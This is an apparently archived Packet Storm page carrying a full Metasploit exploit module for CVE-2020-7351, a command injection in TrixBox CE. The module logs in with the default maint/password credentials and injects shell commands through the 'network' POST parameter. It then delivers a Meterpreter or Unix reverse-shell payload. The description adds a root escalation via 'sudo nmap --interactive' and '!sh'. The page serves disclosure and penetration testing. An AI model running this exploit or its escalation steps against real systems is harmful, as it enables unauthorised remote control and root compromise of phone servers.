what you don't know can hurt you

TrixBox CE 2.8.0.4 Command Execution

TrixBox CE 2.8.0.4 Command Execution
Posted May 5, 2020
Authored by Anastasios Stasinopoulos, Obrela Labs Team | Site metasploit.com

This Metasploit module exploits an authenticated OS command injection vulnerability found in Trixbox CE versions 1.2.0 through 2.8.0.4 inclusive in the network POST parameter of the /maint/modules/endpointcfg/endpoint_devicemap.php page. Successful exploitation allows for arbitrary command execution on the underlying operating system as the asterisk user. Users can easily elevate their privileges to the root user however by executing sudo nmap --interactive followed by !sh from within nmap.

tags | exploit, arbitrary, root, php
advisories | CVE-2020-7351
MD5 | fd5084cbbf34c562fd7812f4604bd3eb

TrixBox CE 2.8.0.4 Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TrixBox CE endpoint_devicemap.php Authenticated Command Execution',
'Description' => %q{
This module exploits an authenticated OS command injection
vulnerability found in Trixbox CE version 1.2.0 to 2.8.0.4
inclusive in the "network" POST parameter of the
"/maint/modules/endpointcfg/endpoint_devicemap.php" page.
Successful exploitation allows for arbitrary command execution
on the underlying operating system as the "asterisk" user.
Users can easily elevate their privileges to the "root" user
however by executing "sudo nmap --interactive" followed by "!sh"
from within nmap.
},
'Author' => [
# Obrela Labs Team - Discovery and Metasploit module
'Anastasios Stasinopoulos (@ancst)'
],
'References' => [
['CVE', '2020-7351'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/13353'] # First ref is this module
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Payload' => { 'BadChars' => "\x00" },
'DisclosureDate' => 'Apr 28 2020',
'Targets' =>
[
[
'Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
],
[
'Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Type' => :unix_memory
]
],
'Privileged' => false,
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('HttpUsername', [ true, 'User to login with', 'maint']),
OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),
]
)
end

def user
datastore['HttpUsername']
end

def pass
datastore['HttpPassword']
end

def get_target(res)
version = res.body.scan(/v(\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
if version.nil?
version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
if version.nil?
print_error("#{peer} - Unable to grab version of Trixbox CE installed on target!")
return nil
end
end
print_good("#{peer} - Trixbox CE v#{version} identified.")
if Gem::Version.new(version).between?(Gem::Version.new('2.6.0.0'), Gem::Version.new('2.8.0.4'))
@uri = normalize_uri(target_uri.path, '/maint/modules/endpointcfg/endpoint_devicemap.php')
elsif Gem::Version.new(version).between?(Gem::Version.new('2.0.0.0'), Gem::Version.new('2.4.9.9'))
@uri = normalize_uri(target_uri.path, '/maint/modules/11_endpointcfg/endpoint_devicemap.php')
elsif Gem::Version.new(version).between?(Gem::Version.new('1.2.0.0'), Gem::Version.new('1.9.9.9'))
@uri = normalize_uri(target_uri.path, '/maint/endpoint_devicemap.php')
else
return nil
end
return version
end

def login(user, pass, _opts = {})
uri = normalize_uri(target_uri.path, '/maint/')
print_status("#{peer} - Authenticating using \"#{user}:#{pass}\" credentials...")
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})
unless res
# We return nil here, as callers should handle this case
# specifically with their own unique error message.
return nil
end

if res.code == 200
print_good("#{peer} - Authenticated successfully.")
elsif res.code == 401
print_error("#{peer} - Authentication failed.")
else
print_error("#{peer} - The host responded with an unexpected status code: #{res.code}.")
end
return res
rescue ::Rex::ConnectionError
print_error('Caught a Rex::ConnectionError in login() method. Connection failed.')
return nil
end

def execute_command(cmd, _opts = {})
send_request_cgi({
'uri' => @uri,
'method' => 'POST',
'authorization' => basic_auth(user, pass),
'vars_post' => {
'network' => ";$(#{cmd})"
}
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Connection failed.')
end

def check
res = login(user, pass)
unless res
print_error("No response was received from #{peer} whilst in check(), check it is online and the target port is open!")
return CheckCode::Detected
end
if res.code == 200
version = get_target(res)
if version.nil?
# We don't print out an error message here as returning this will
# automatically cause Metasploit to print out an appropriate error message.
return CheckCode::Safe
end

delay = rand(7...10)
cmd = "sleep #{delay}"
print_status("#{peer} - Verifying remote code execution by attempting to execute '#{cmd}'.")
t1 = Time.now.to_i
res = execute_command(cmd)
t2 = Time.now.to_i
unless res
print_error("#{peer} - Connection failed whilst trying to perform the command injection.")
return CheckCode::Detected
end
diff = t2 - t1
if diff >= delay
print_good("#{peer} - Response received after #{diff} seconds.")
return CheckCode::Vulnerable
else
print_error("#{peer} - Response wasn't received within the expected period of time.")
return CheckCode::Safe
end
end
rescue ::Rex::ConnectionError
print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.")
return CheckCode::Unknown
end

def exploit
res = login(user, pass)
unless res
print_error("No response was received from #{peer} whilst in exploit(), check it is online and the target port is open!")
end
if res.code == 200
version = get_target(res)
if version.nil?
print_error("#{peer} - The target is not vulnerable.")
return false
end
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 130_000)
end
end
rescue ::Rex::ConnectionError
print_error('Rex::ConnectionError caught in check(), could not connect to the target.')
return false
end
end
Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    12 Files
  • 4
    Jul 4th
    1 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    25 Files
  • 7
    Jul 7th
    35 Files
  • 8
    Jul 8th
    4 Files
  • 9
    Jul 9th
    9 Files
  • 10
    Jul 10th
    7 Files
  • 11
    Jul 11th
    4 Files
  • 12
    Jul 12th
    4 Files
  • 13
    Jul 13th
    13 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close